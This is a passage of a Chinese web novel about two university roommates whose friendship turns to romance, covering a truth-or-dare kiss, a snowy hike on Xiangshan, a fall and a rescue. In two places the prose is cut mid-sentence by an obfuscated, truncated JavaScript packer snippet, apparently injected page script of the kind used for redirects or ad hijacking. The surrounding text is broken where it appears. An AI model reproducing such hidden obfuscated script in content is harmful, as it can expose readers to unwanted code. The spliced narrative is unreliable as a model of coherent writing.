“——怎么可能?”杨嘉树觉得顾琢成真的是好天真,“只有亲生孩子才是从妈妈身上掉下来的一块肉,是从她身体里分裂出去的一部分,而养子,只有责任而已。她有时候对我的确比对杨嘉苗好,她会打杨嘉苗,骂杨嘉苗,但是从来不会这样对我,我闯再大的祸她也不会说什么,顶多就是甩我几个失望的眼神——虽然我也没有做什么很坏的坏事。” “我知道了,你觉得她对你和对你弟弟……亲疏有别?” “是啊。”杨嘉树翻了个身,看着黑漆漆的天花板,“她对我太礼貌,就显得生疏。” “……”顾琢成不知道该说什么好,就按照自己理解的去安慰杨嘉树,“我觉得你妈妈这样做并不是不爱你,而是,她爱你,不知道怎么把握跟你相处的分寸——我觉得她可能已经知道你知道自己不是她亲生的这件事了。” “……啊?”杨嘉树愣住了,这件事他还从来没有去想过。 “我只是猜测。你不是说你妈妈在你小时候也会打你骂你的吗。” “……” “你可以试着和你妈妈沟通。”顾琢成说,“也许你们之间存在误会。” “……算了吧。”杨嘉树苦笑,“沟通也不能改变我不是她亲生的事实。” 他下意识点开章芝仪的朋友圈,下午五点钟左右,她发了带杨嘉苗去剪头发的视频,很开心地说:“剪完头,小宝又帅了好几个度!真不愧是我亲生的!美/美/美。”而她几乎不会在朋友圈发杨嘉树,要发也是全家福——杨嘉树郁闷地退出朋友圈,返回和顾琢成的通话。 “你……有时候会怀念你的妈妈吗?” 顾琢成张了张嘴,眼神黯淡下来。 “会。经常想。尤其是找不到我爸的时候,我会想要是她还在就好了。” “唉。”杨嘉树叹了口气,现在的他也很悲伤,顾不上安慰别人了,“我连我亲生妈妈长什么样都不知道。” “你亲生妈妈……是和你爸爸离婚了吗?” “我也不知道。”杨嘉树摇头,“我不知道她是死是活,现在在什么地方——也许我更倾向于她早已不在人世了,不然为什么这么多年都没来见我一面。” “……” 就这样陷入沉默。 “唉……” “唉……” 两声一模一样的叹息,几乎同一时间响起。 杨嘉树愣了愣,然后“噗”地一声笑出来:“顾琢成,我们算不算‘同是天涯沦落人’啊。” 顾琢成也笑了:“算。” “也算是交换了彼此最真心的秘密?” “没错。” “那——”杨嘉树拖长音调,说,“我是不是你最好的朋友啊。” 顾琢成脑海里闪过很多人,但最终没有反驳杨嘉树的这个说法:“是。” “第一好的?” “嗯。” 杨嘉树笑了,露出两排洁白的牙齿:“你也是我最好的朋友。” 电话那头,顾琢成抿成一条直线的嘴角勾起来,无声地笑了。 11. 第 11 章 顾琢成回北京那天,惊动了学校宣传部,当天晚上杨嘉树就刷到宣传部微信公众号的推文,笑嘻嘻地朗读给顾琢成听。 顾琢成蹲在地上收拾行李箱,回头无奈地看着杨嘉树:“你能别念了吗?” 杨嘉树嘻嘻笑着,说:“这个小编是不是暗恋你呀,你看,她说‘顾琢成同学不仅有着高超的编程能力,在颜值方面也是遥遥领先’……这篇推文是怎么过审的呀,哈哈哈。”他一下把文章划到最底下,发现评论里也有顾琢成的迷妹,整齐划一地表达对偶像的崇拜。 “真好……”杨嘉树羡慕地说,“这么多人喜欢你,那你岂不是很容易交到女朋友……老实说,开学到现在收到多少封情书了?” 顾琢成收拾完东西,坐在椅子上喝水:“没有几封,忘记了。” “那就是有收到过?”杨嘉树靠过来,八卦地问,“都有谁啊?长得漂亮吗。” 顾琢成回忆了一下,说:“挺漂亮的。” 杨嘉树感觉不太爽,却没有把这种不爽表露出来:“那你怎么没谈一个?” “不感兴趣。”顾琢成说,抬起手看表,“走吧,快迟到了。” 晚上赵靖请吃饭,本来中午就要去的,但是顾琢成一下飞机就被宣传部的人拉去拍照、接受采访,完了还有推不掉的庆功宴,一直忙到晚上才回宿舍。赵靖和何永平在南门外的火锅店等他们,说是菜已经点好了,只等他们就位。 宿舍离南门很近,杨嘉树和顾琢成一路推推搡搡地去火锅店。 一进去赵靖就说:“小别胜新婚是吧?瞅你们走路那黏糊劲儿。” 杨嘉树挎着顾琢成的手臂,变本加厉往他身上靠:“干嘛,你嫉妒啊?” 两人都坐下来,杨嘉树才对顾琢成说:“你知道吗,赵靖看我跟你这么好,可嫉妒了,天天叫我给他恢复正宫的地位,我说不行,他现在已经是废后了,只配在冷宫待着。” 顾琢成配合地说:“那我是什么?中宫皇后?” 杨嘉树一拍手掌:“没错!” 何永平说:“那我呢?我是什么?” 杨嘉树正拆着筷子呢,让他给问懵了,思考了一会儿才说:“你是我的贵妃。” 何永平站起来,双手放在腰侧,扭扭捏捏给杨嘉树行了个礼:“谢谢皇上。” 杨嘉树看着何永平那张正在冒痘的脸,老实说,有点反胃。 赵靖用幽怨的眼神看着紧紧挨在一起的杨嘉树和顾琢成:“从来只见新人笑,有谁在意旧人哭。顾琢成,你到底有什么魅力,才半个学期而已,就让杨嘉树对你这么死心塌地。” 顾琢成还没说话,杨嘉树就抢着说:“你怎么不说是我有魅力,让顾琢成对我欲罢不能呢。” 赵靖冷笑:“不愧是皇上,脸大如盆,我等自愧不如。” “你才脸大!” 说说笑笑间,酒足饭饱。何永平提议来玩游戏,“真心话大冒险好了!我们好像还是第一次四个人聚齐出来吃饭,通过游戏增进一下了解嘛。” 杨嘉树一想,好像还真是,其实主要是他们仨聚会不带何永平……这么想着,他心里有点愧疚,因此第一个站出来附和何永平:“好啊好啊,我们来玩真心话大冒险!” 第一轮猜拳,杨嘉树输了,他选择真心话,何永平眼珠一转,坏笑着说:“好哇,我来问你,初吻还在不在?” “……”这是什么小儿科问题啊。一点都不劲爆,杨嘉树说,“还在。” 除了顾琢成之外的两个人都很震惊:“什么?杨嘉树的初吻居然还在,你不是少爷吗?别跟我说你还没谈过恋爱。” 杨嘉树才不会这么傻,把什么都抖落出去,“继续继续,赢的人才有权问问题!” 接下来几轮都是何永平输,杨嘉树一点都不关心他的个人隐私,敷衍着问了几个问题就过去了。再一轮,杨嘉树输了,他想了想,说:“我选择大冒险。” 早就恭候多时的何永平立刻兴奋地说:“好哇!既然你的初吻还在,那今天哥哥就帮帮你,随意在火锅店里选一个人,把自己的初吻送出去!” “……”杨嘉树看着何永平,一脸无语,“能不要这么恶俗吗。” 何永平双手抱胸,挑衅地看回去:“杨嘉树,你是不是玩不起啊。” 杨嘉树的脸在一瞬间变得通红,他瞪着何永平,愤愤地说:“谁玩不起啊?你等着,我这就吻给你看!”他站起来,在火锅店环视一周,现在是晚上九点半,店里没多少人,就角落里有一桌同样是学生打扮的人,不过都是男的,没有女的。他现在想到一个问题,这里是火锅店,不是酒吧,人家都是来正经吃饭的,冒昧地吻上去恐怕会被打吧? 这个死何永平,找到机会就整他,果然没安什么好心! 正为难的时候,杨嘉树一低头,看见顾琢成。顾琢成用担忧的目光看着他,似乎怕他搞不定这样一场突如其来的“事故”。杨嘉树灵机一动,没有女的,那就亲男的啊!不用别人,眼前正好有一个。他坐下来,拉着顾琢成的手,抱歉地说:“兄弟,委屈一下你了。” 顾琢成秒懂,配合地侧过身,把自己的脸颊递给杨嘉树。 何永平见状,大呼小叫地说:“唉唉唉,不行啊杨嘉树!跟男的亲也算初吻吗……” 赵靖按住他,啧了一声:“差不多得了,别为难他。” 杨嘉树看着顾琢成静止的侧脸,突然间有些下不去嘴。如此近距离地观赏到顾琢成的美貌,让他心里一阵说不清道不明的激动,他感觉自己的心跳在逐渐加速,脸也越来越烫……来不及细想这是什么,他凑上前,“吧唧”一下亲上顾琢成的脸。 刚喝过水,他的嘴唇是湿润的,在顾琢成脸上留下一个湿漉漉、透明的唇印。退开的时候,杨嘉树的心率到了一个恐怖的数值,他甚至感觉心脏按捺不住要从喉咙里蹦出来了……惊慌,茫然,难为情……最后只剩下手足无措,杨嘉树呆坐在原地,愣愣看着桌上沸腾的红汤底。 “哈哈哈。”何永平早已把刚刚劲爆的一幕用手机记录了下来,此刻正一手拿着手机,一手捂着肚子,毫不留情地笑话杨嘉树,“你那是什么表情啊,好像被欺负的黄花大闺女一样,哈哈哈哈……快说说,失去初吻是什么感受?” 感觉到杨嘉树不对劲的顾琢成朝这边看过来,手还没碰到杨嘉树,就被杨嘉树躲开了。 “你等着!”杨嘉树站起来,不服气地看着何永平,发誓非要整回去不可。他伸出拳头,恶狠狠地说,“继续!” 一直玩到十点多,散场。 最后杨嘉树还是没整到何永平,闷闷地走在最后面,企图用眼神杀死何永平……的背影。 顾琢成见杨嘉树落单,走过来关心地问:“你怎么了?刚刚输了游戏不开心?” 杨嘉树现在面对顾琢成总觉得浑身不自在,不敢看他的眼睛,也不习惯被他这样认真地注视,感觉自己 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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杨嘉树的脸腾地一下红了,坐起来大骂何永平:“你是不是有病啊?赶紧给我删了!” “哈哈哈哈。”何永平大笑,床都让他摇得嘎吱响,“不删,留个纪念。杨嘉树,你好像个小媳妇啊,哈哈哈哈哈哈……” 杨嘉树气得要死,爬下床要去揍何永平,顾琢成和赵靖纷纷过来劝架,最后杨嘉树亲眼看着何永平把手机里的照片删除,才罢休。 重新爬上床,杨嘉树还是睡不着。 他躲在被窝里,点开刚刚那张照片,其实……拍得还挺好看的。顾琢成双手抱胸坐着,脸朝向一边,露出优美流畅的侧脸线条,他没笑,因此表情看上去冷冷的,有点酷。杨嘉树……杨嘉树看见照片里的自己紧闭双眼,仰起头,嘴巴和鼻尖都抵着顾琢成的脸,不知道是不是手机色调的原因,他的脸颊看上去竟然是粉色的,有种浓浓的娇羞感…… 杨嘉树的脸爆红,身体在被窝里弯成一只虾米,无声地发出一声又一声的尖叫。 谁知道他当时——到底在想什么啊! 杨嘉树理解不了,更理解不了自己此刻内心的激动是为了什么。 然后,他做了一个动作—— 他把那张照片保存到相册,单独创建了一个文件夹,然后加密,在以后很多个睡不着的夜晚,都会拿出来悄悄回味。 12. 第 12 章 期末快到了,这学期完全在三天打鱼两天晒网的杨嘉树开始了痛苦的考前复习时间。 每天一睁眼就拿着课本开始背书,下课就直奔自习室,走路的时候都在抽空刷题——顾琢成说他:“早知如此,何必当初。” 杨嘉树张嘴想解释:“还不都……”还不都怪你,那时候咱俩如胶似漆,每天都在聊天,要么就打游戏,你忘了?可是这话杨嘉树现在却羞于说出口,好像顾琢成对他造成多么大的影响似的。他合上书本,问顾琢成,“要不要去食堂。” “好啊。” 这几天北京在下雪,温度很低,杨嘉树穿着厚厚的羽绒服,一边走路一边跺脚,感觉快要冻死在北方的冰天雪地里了。 顾琢成见杨嘉树一边走路一边念念有词,知道他又在背课文,而且内容还有点熟悉,“这篇文你不是上星期就在背了吗?还没背会?” 杨嘉树叹一口气,烦恼地说:“天气一冷,记忆力都变差了。” 顾琢成张了张嘴,欲言又止。 “你想说什么?”杨嘉树察觉到,问他。 “……我都快会背了。”顾琢成如是说。 杨嘉树站定,两只手交叉揣在袖子里,不太相信地说:“胡扯吧,这可是古文,你背一个我听听?” 顾琢成清清嗓子,流利地背诵起来。 杨嘉树越听越不对劲,这怎么一个字也不错,甚至断句、语音语调还有情绪都很正确呢,他茫然地看着顾琢成:“你开挂了吧?偷偷背了?为什么会这样,我背了好多遍都没背会。” “没有。”顾琢成摇头,说,“看你吃饭也在背,走路也在背,洗澡的时候也在背,就记住了。” “……”杨嘉树深深体会到了人和人的不同,不过,为什么哪里不太对劲的样子,“你怎么知道我洗澡的时候也在背??” “去晾衣服的时候听见了。” “呃……我还以为……”杨嘉树挠挠头,接下来的话没好意思说出来。 顾琢成仔细端详杨嘉树的脸,忽然间皱眉:“你怎么了?脸这么红,发烧了?” “额?”杨嘉树一愣,然后掉头就走,“没有,是冻的。好冷啊,快走快走,赶紧吃点热的暖暖身体。” 路过一个铺满莹莹白雪的湖,杨嘉树突发奇想,从旁边的树林里捡了一根树枝,想去探探湖面上的雪有多深,底下有没有结冰。为了防止自己掉下去,杨嘉树站在湖边,让顾琢成拉着自己的手,“抓紧点啊,掉下去会被冻死的。”他往下戳,树枝穿过积雪,触到硬邦邦的冰面,“好厚的冰!真想下去走走。这要是雪都没了,应该可以下去滑冰吧。” 顾琢成尽职尽责地站在岸边,紧紧抓着杨嘉树的手,那手冰得跟石头似的,跟自己的手形成鲜明对比,“不要吧,去年不是有两个学生下去玩,结果冰面裂开俩人掉了进去,连隔壁消防队都被惊动了——你想上社会新闻的话可以试试。” 杨嘉树让他说得心里发怵,扔了树枝就打算离开。 顾琢成忽然想吓吓他,手上一松,杨嘉树整个人失去重心,往湖面倒去——一瞬间,杨嘉树以为自己要砸开冰面,掉进冰冷的湖水里。紧要关头,手腕上传来一阵拉力,他向上看,顾琢成带着笑的脸出现在眼睛里,然后,下一秒,他就扑进了顾琢成的怀里。 惯性的原因,顾琢成抱着杨嘉树后退了几步,杨嘉树不重,甚至有点轻,顾琢成抱着他,手里都是蓬蓬的羽绒触感,一点肌肉或骨骼的感觉都没有。到底穿了多少层啊……顾琢成心想,然后就感觉杨嘉树靠在自己身上一动也不动,一副被吓傻的样子。 “……你怎么了?”顾琢成犹豫着,推了推他,“吓到你了?对不起,我只是想跟你开个玩笑。” 杨嘉树这才从他怀里退出来,低下头,看向自己的脚尖:“没关系。” “……真的没事?”顾琢成怀疑地问。 “嗯。”杨嘉树转过身,往食堂的方向走,“快走吧,我都快饿死了。” “……哦。”顾琢成看着杨嘉树忽然加快脚步,从走变成几欲跑的样子,心想他可能是真的饿了,第一次见他吃饭这么积极。 考试前几天,何永平提议出去爬山散心,缓解一下考前紧张的情绪。本来另外两个人都不太感冒,但是杨嘉树觉得最近自己的心情很奇怪,可能确实需要晒晒阳光整理一下,于是他答应了,并说服赵靖和顾琢成也一起。 一大早,几人坐西郊线去香山,半路上忽然下起雪,杨嘉树趴在窗玻璃前,担忧地说:“不会雪太大封山了吧,希望不要白跑一趟。” 顾琢成也在看窗外,顺口说:“不会的,我看这雪也不会下很大。” 杨嘉树觉得顾琢成靠在车窗前的样子特别帅,他不笑也不做动作的时候就显得有点高冷,好像脸上贴着“生人勿近”几个字。杨嘉树看见不远处有两个妹子一直盯着顾琢成看,似乎想过来要联系方式——而又害怕被拒绝的样子。杨嘉树瞪着她们,在心里祈祷她们最好一直犹豫,不要付诸行动……好在,她们下一站就下车了。 杨嘉树此行还带了相机,外面的雪越下越大,顾琢成望着窗外的雪出神,搭配西郊线上优美的风景,莫名有种杂志封面男神的感觉。杨嘉树忍不住用相机记录下这一幕,快门的声音惊动顾琢成,他转过头,发现杨嘉树手里的相机,伸出手:“给我看看。” 杨嘉树把相机递给他,顾琢成看了一会儿,说:“拍得挺好的。” 杨嘉树心想,徕卡,拍什么不好。但是抬头看见顾琢成的脸,又觉得跟设备没有关系,好看的人怎么拍都是好看的。 下车的时候雪小了点,气温还是很低,杨嘉树冻得瑟瑟发抖,爬山不敢穿太多,怕身体伸展不开,顾琢成看见,安慰他:“爬会儿山就暖和了。” 一行人选择从北线上山。香山北线都是台阶,一共2000多级台阶,杨嘉树站在山脚下往上看,蜿蜒陡峭,一眼望不到头。 何永平招呼大家先热热身,一会儿开始了就直接爬到顶,中间不许停。 杨嘉树说:“那么着急干什么,爬山不就是欣赏途中风景的吗?” 何永平一边踢腿一边不屑地说:“爬山当然是享受登顶那一刻的快感!你要是跟不上就别勉强,自己在后面慢慢走,赵靖,琢成,你们好了没?” 赵靖答应得特别干脆:“好了,走!” 杨嘉树在下边狠狠瞪了他一眼,赵靖把头一撇,掐着腰对杨嘉树扭了一下屁股,跑了。 见顾琢成还没走,杨嘉树说:“你不跟他们一起,竞赛?” 顾琢成摇头:“不,我跟你一起吧,我们慢慢爬。” 杨嘉树心里涌起一阵暖流,瞬间感觉没有那么冷 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顾琢成挑了挑眉,说:“我很帅吗?” “……”杨嘉树一下子让他问住了,脸微微发红,他低头,装作查看相机里的照片,“还行吧,你挺上镜的,其实这么看也不错,我再给你拍几张。” 这么耽误了一会儿,再出发的时候,台阶上是一层洁白轻盈的落雪。杨嘉树站在原地,有点不忍心踏上去了。 顾琢成叫他:“走啊。” 杨嘉树只好磨磨蹭蹭地跟上。 戴手套不好拿相机,杨嘉树的手在外面冻得通红,只能一边走路一边往手心哈气,试图把冰冷的双手暖热。 “很冷吗?”顾琢成转头,看他。 “对啊。”杨嘉树冻得鼻头通红,嘴巴也是红的,他本身很白,因此红就特别明显,说话的时候从嘴巴里冒出一股又一股的热气。 “怎么不戴个手套。”顾琢成说,“有那种半截的手套,可以把手指头露出来。” “算了吧。”杨嘉树摇头,“戴半截跟不戴有什么区别。”他注视着顾琢成,羡慕又佩服地说,“你怎么一点都不怕冷啊。”明明都穿得差不多,甚至顾琢成还更少一点。 顾琢成笑了笑,说:“当然,我是在北方长大的啊。” “北方很冷吗?” “嗯,很冷。” “不过室内有暖气,待在家里不出门就不会冷了。”杨嘉树想当然地说。 顾琢成不由失笑:“怎么会一直待在家里?我们冬天也会出门的。” “干嘛?” “出去玩,去买菜,去逛街,去见朋友,”顾琢成说,“总之能做的事情很多。你去过东北吗?” 杨嘉树摇头:“没有。东北有什么好玩的。” 顾琢成说:“有空你来,我带你去滑冰,滑雪,吃铁锅炖,看傻狍子,带你玩个够。” “……真的啊?”杨嘉树站定了,看着顾琢成,“我这么怕冷的人也能去吗?不会被冻死吧。” “不会的。”顾琢成笑,“只要一直动就不会冷,人们对东北有误解。” “我可当真了啊,放假就去你家找你去。” “随时欢迎。” 13. 第 13 章 走到大概三分之一的位置,杨嘉树开始感觉到累了,相机挂在脖子上成为负担,顾琢成见状,提议道:“相机给我玩吧,我给你拍照。” 顾琢成站在台阶上,向下看杨嘉树。杨嘉树是个货真价实的南方人,极度怕冷,冬天只愿意待在暖气房里,出门就裹得厚厚的,保暖内衣、羊毛衫、毛衣、羽绒服,还有围巾,手套,不要风度,只要温度。而从室外回到室内,他又会一件一件地把穿好的衣服脱下来,剩一件保暖内衣躲进被窝里脱,再下来就变成普通的棉质睡衣了。 顾琢成有时候觉得杨嘉树很像一种动物,那种干什么都慢吞吞、好像对外界刺激总要反应一下的……叫什么来着,哦对了,树懒——或者说,“闪电”。 他按下快门键,把树懒先生懒洋洋的模样拍下来,然后倒退欣赏,不错,表情呆滞,动作迟缓,确实跟他的树懒兄弟有得一拼。 杨嘉树发现顾琢成对着相机屏幕在偷笑,感觉不太妙,他伸出手,对顾琢成说:“你拍的什么啊,给我看看。” 顾琢成把相机递给他,然后往后退了两步。 杨嘉树接过相机,定睛一看,怒了:“你拍的什么啊!”顾琢成的个子特别高,还站在高他好多级的台阶上,镜头朝下俯拍,生生把他近一米八的身高拍成了一米三,而且表情还特别奇怪,乍一看跟个智障似的。 杨嘉树愤怒地把照片删除,删完这一张,还有好几张,清一色的一米三智障…… 顾琢成在上面看着,说:“你别都删了啊,留一张做纪念吧,纪念你第一次爬山。” “你少瞧不起人了!谁说我这是第一次爬山的?”杨嘉树把顾琢成拍的乱七八糟的照片全删了,省得留下来污染他的相机,“我也是爬过不少山的好不好,我还走过华山的玻璃栈道呢!” “真的?你胆子有那么大吗。”顾琢成不太相信。 “当然是真的!我还拍了照片呢,我给你找出来……” 两人一路聊天、一路打闹着登上了香炉峰。后来整条路都没什么人,只有杨嘉树和顾琢成两个,杨嘉树走到最后走不动了,全靠顾琢成拉着他、拽着他给他拽到了最高点。杨嘉树的心情很奇怪,说不上来,手被顾琢成拉着的时候又慌张又甜蜜,这种甜不是吃了糖或者蜂蜜一样、明目张胆的甜,而是隐藏在激烈跳动的心脏、微红的双颊,和闪烁的目光之下,连他自己都没察觉到的甜。 何永平和赵靖早就到了,赵靖在拍山顶的风景,而何永平在和别人打电话,好像是个女孩子……杨嘉树碰一碰顾琢成的肩膀,小声说:“他有女朋友了啊?” 顾琢成摇头:“不知道。” 赵靖在一旁说:“你俩不知道吧?聊好久了,今天本来要约人家来爬香山的,她说冷,不想出门,何永平就说等他爬到顶了给她打视频……啧啧,没想到咱宿舍最老实的人最先谈上恋爱了。” 比起何永平的隐私,杨嘉树更关心赵靖是什么时候跟何永平关系这么好的,连感情问题都开始分享了。 赵靖看着杨嘉树,发出一声不屑的冷哼:“就许你水性杨花,不许我红杏出墙了?与其关心我跟哪个人关系好,不如先关心关心你的新欢,是不是对你始终如一,我可是听说有人在表白墙实名给他表白了呢,真大胆……哥们儿,你对她有意思不?”他对顾琢成说,模样贱兮兮的。 这件事顾琢成本人都没听说过,“谁啊?”他一脸好奇。 “艺术学院的院花啊,我有她照片,可漂亮了,你看……” 杨嘉树后退一步,转过身,去拍山下的风景。拍了几张,运动产生的热渐渐散去,杨嘉树的脸、手,和所有裸露在外面的皮肤都开始感觉到冷,心也凉飕飕的。赵靖还在跟顾琢成聊那个院花的事,热火朝天,连人家院花交过几个男朋友都开始八卦了。 杨嘉树心里烦闷,很想说要不下山得了,好不容易登上山顶,却在那里聊八卦,有什么意思?但马上,一件更令他烦闷的事发生了——他相机的镜头盖不见了,明明刚刚还在兜里揣得好好的,去哪里了? 本来丢个镜头盖不是什么大事,但杨嘉树就是觉得难受,好像丢了相机一样难受,他跟赵靖说了一声,原路返回去找自己的镜头盖。 顾琢成见他要从北线下山,连忙劝阻:“你现在从那走很不安全,都是台阶,弄不好就摔跤了。一个镜头盖而已,又不贵,回头再买个新的,我们从南线下山……” 杨嘉树没理他,头也不回地走了。 顾琢成闭上嘴,纳闷地说:“……我哪里得罪他了吗?” 赵靖拍拍他的肩,递去一个同情的眼神:“圣心难测。娘娘,现在知道皇后不好做了吧。” 上山容易下山难,这话一点也不错。杨嘉树抖着腿颤颤巍巍地行走在陡峭狭窄的台阶上,看着蜿蜒向下的山路,心里总是有一种恐惧,一种脚下踏空滚落山崖摔成肉饼的恐惧……走了十几二十级台阶,忽然开始下雪,不再是那种银点飞屑般的小雪,而是鹅毛一样的大雪。 此时杨嘉树开始后悔,万一雪越下越大,石阶被雪淹没怎么办?但是走都走了,这时候再上去岂不是很没面子……杨嘉树咬咬牙,强撑着继续往下走。 他已经感到很疲累,尤其是双腿,刚经过一轮上山的摧残,这时候一个屈膝、一个抬腿都显得万分吃力,更不要提大雪带来的心理、视力压力。又走了一段距离,杨嘉树的忍耐力达到极限,此刻什么班花,什么镜头盖,什么顾琢成都被他抛之脑后,他只想赶紧掉头,回到山顶和同伴们汇合,意外就是这个时候发生—— 杨嘉树本来想调转方向,往山顶走,但是睫毛上的落雪遮挡住视线,他一时有点分不清哪里是上山、哪里是下山,一只手还要护住相机——他不由感到懊恼,为什么要生气,为什么要下山,为什么要带着相机下山,为什么非要找该死的镜头盖……忽然间,杨嘉树想到什么,他拉开羽绒服的拉链,往胸前的口袋一探—— 果然,镜头盖好好地躺在那里。 “……”杨嘉树把唇抿得紧紧的,一言不发地转身,往上爬——也许是气急攻心,也许是心不在焉,总之前他不在状态,脚下没有踩到落点,就这么摔了下来。 还好台阶不是直的,他摔到一侧的树丛里,滚了几圈,然后被一颗干枯的树挡住了。右脚扭了一下,钻心地痛,更多地是丢脸,噢对了,相机!好几万的相机呐,杨嘉树费力地坐起来,悲催地发现相机镜头好像碎了……他欲哭无泪,心想现在该怎么办。 他试图站起来,但是一只脚扭了,另一只腿好像磕到台阶,膝盖那里又麻又痛,也站不起来。他开始感到惊慌,遭了,腿不会断了吧……听说腿断了最好不要乱动,免得造成二次伤害。难道只能被动等待救援了? 杨嘉树开始寄希望于路过的游客。 但是等了几分钟都没有人路过,可能是见雪太大,上山的人原路返回,而下山的人都从另一条线走了……杨嘉树摸出手机,纠结要不要给赵靖发个信息,让他下来救自己……但是告诉赵靖,顾琢成也一定会跟下来,然后就看到自己这么丢人的模样…… 杨嘉树果断收起手机,心想还是缓一缓等下自己走上去吧。 不过一会儿的功夫,雪就在地上铺了厚厚一层,杨嘉树的身上也都是落雪,他又痛又冷,整个人狼狈极了,坐在雪地里像只柔弱而又惊恐的动物。 这样下去我该不会被冻死吧,杨嘉树想,然后又开始后悔自己刚刚干嘛不及时联系赵靖,给自己找罪受……他哆哆嗦嗦地掏出手机,结果发现手机竟然不能开机了,什么情况?温度太低了? “……”见过有人蠢到把自己玩死吗,杨嘉树就是。 他现在连站都站不起来,冻得牙齿打颤、浑身发抖,同伴们没人发现他不见了吗?就没有一个人愿意下来找他?今天真的要冻死在这里了吗…… 就在他绝望无助之际,不远处隐约传来一声呼唤: “嘉树!” 杨嘉树以为自己听错了,但很快,那声音变大了,穿过重重飞雪抵达自己的耳蜗: “杨嘉树!” 声音好熟悉,杨嘉树可能这辈子都不会忘记—— 是顾琢成! 杨嘉树的心砰砰跳着,期盼地望向声音的源头。 片刻后,从漫天大雪里冲出来一个人,直直朝杨嘉树走来。他的身上、头上都是雪,神色焦急步履匆匆,杨嘉树想开口叫他小心一点,台阶很滑……但是还没张开嘴,喉咙就哽住了。 顾琢成什么都没说,只是快步走下台阶,来到杨嘉树面前。 “你……”杨嘉树开口,嗓音是沙哑的,带着并不明显的哭腔。 顾琢成蹲下来,一边帮他拍去衣服上、头发上的雪,一边问道:“摔倒了?” 丢脸、懊悔、自责……种种情绪在杨嘉树的心间翻滚,让他一句话也说不出来,只是很想哭。 “能站起来吗?”顾琢成说,然后一手架着杨嘉树的胳膊,一手揽着他的腰,把他从地上拉了起来。 “嘶……”杨嘉树的痛觉系统好像被激活了,左脚踝钻心地疼,身体一软,差点又栽倒在地。 顾琢成几乎是拖着杨嘉树来到石阶旁,让他先在台阶上坐着。太脏了,以前干干净净的杨嘉树现在脏得跟个在下水道的耗子似的,连头发上都是泥土。顾琢成让他坐好,不要乱动,然后弯下腰,仔细地擦去他脸上的碎雪、泥土、枯树枝……甚至还有两行没干透的泪水。顾琢成很贴心地没有戳穿他,擦完脸颊,又替他整理头发,杨嘉树特别配合,一动也不动,任由顾琢成的双手在自己身上肆虐。 他只是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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顾琢成背着杨嘉树上山。 有一段时间没有说话,只有一双脚承载着两个人的重量、落在台阶上的沉重的脚步声,还有轻盈的、雪落下来的声音。 杨嘉树搂着顾琢成的脖子,偷偷用脸蹭了蹭他的头发,有点刺,有点痒。他没忘记刚刚心被利箭穿透的感觉,在以前他不明白这是一种怎样的感觉,但是现在,或许他可以为这支箭命名,就叫它——丘比特之箭。想到这,杨嘉树的脸一片通红,心也失控似地狂跳,困扰他许久的谜题终于在今天解开,原来……原来我喜欢他啊。 怪不得……怪不得我对他的占有欲这么强,强到从小到大任何一个朋友都比不上;怪不得,他一靠近我我就双腿发软、呼吸困难……怪不得,明明他是个男人,我却觉得他漂亮、美丽,甚至用任何形容美的词汇来形容他都不过分……我做梦会梦到他,一有空就想他,甚至没空的时候也要抽空想他……我嫉妒所有试图靠近他的女孩子,妄想吸引他全部的注意力……我早该想到的!除了爱情,还有哪一种感情是如此令人魂牵梦萦、魂不守舍的? 原来,喜欢一个人,真的可以忽略他的性别…… “你抱我那么紧干什么?要喘不过气了。”忽然间,顾琢成停下来,对杨嘉树说,“松开点,箍得我脖子疼……”他愣住了,感觉脖子里淌进一股热流……杨嘉树,哭了?他顿住,走也不是停也不是,该把杨嘉树放下来吗?他踟躇了一会儿,决定继续前进,也顾不上脖子被勒得疼了,“……男子汉大丈夫,这点小事也掉眼泪,羞不羞啊。” 你知道我是为什么掉眼泪?杨嘉树这样想,然后更难受了,眼泪十倍汹涌地掉下来:“你懂什么……我相机镜头摔坏了,好几万呢,我心疼,呜呜……” “……那确实值得哭。”顾琢成咋舌,“什么镜头要好几万啊?换个便宜点的呗,或者拿去修一修。” “不行,这个镜头我用习惯了。”杨嘉树一边抽噎一边说,用顾琢成的衣服擦眼泪,“而且徕卡相机就是要配徕卡镜头,这叫从一而终、坚定选择……”杨嘉树大概是昏了头,开始胡说八道了。 “好吧,你有钱你就买。下次可不要这么冒失了,镜头事小,万一我这次没下来找你,你是不是就冻死在这儿了,多可怕啊……” 杨嘉树抱他抱得更紧了,“多亏有你……你想我怎么报答你?” “请我吃饭?” 杨嘉树不太高兴:“我的命就值一顿饭?” 顾琢成笑了一声:“那你说,你想怎么报答我?” “我得好好想一想……” “商量一下,能不能松开点,你这样弄得我喉咙很痛,咳咳……” 14. 第 14 章 很快,放寒假了,杨嘉树急吼吼地买了凌晨五点钟的机票回广东,大晚上开始爬上爬下收拾行李,赵靖路过,说他:“你是一天都不想在学校待啊?这就收拾行李回家了?” 杨嘉树“嗯”了一声,无精打采地说:“回去过冬啊。北京好冷,又干,待不习惯。” “都快两年了还没习惯?”赵靖靠在衣柜上,正在吃苹果,一双利齿把苹果肉咬得“夸吃夸吃”响,“那你毕业后打算回广东?继承家业?” “那么远的事,还没想过。”杨嘉树合上箱子,眼睛下意识往某人的床位那里瞄,“那个……顾琢成呢?怎么一晚上都没看到他?” “咦?”这可真是稀奇,连体婴的其中一个竟然问哥哥去哪了——什么时候做的分体手术?还是说——吵架了?赵靖的八卦雷达“唰”地一声竖了起来,“你俩感情终于破裂了?是你变心还是他出轨?奸夫是谁?快快交待!” 明明是再寻常不过的玩笑话,杨嘉树却莫名心虚,耳朵悄悄红了,“你别乱说,他下午说去图书馆,到现在都没回来,我才问你的……还有你说话能不能文明点,什么奸夫□□的,真的是好难听。” “我靠,杨嘉树,你最近是不是读书读多了,想起来自己是个文化人了啊?”赵靖目瞪口呆地看着他,“你变了,你果然是文科派来的奸细!2608的叛徒!” 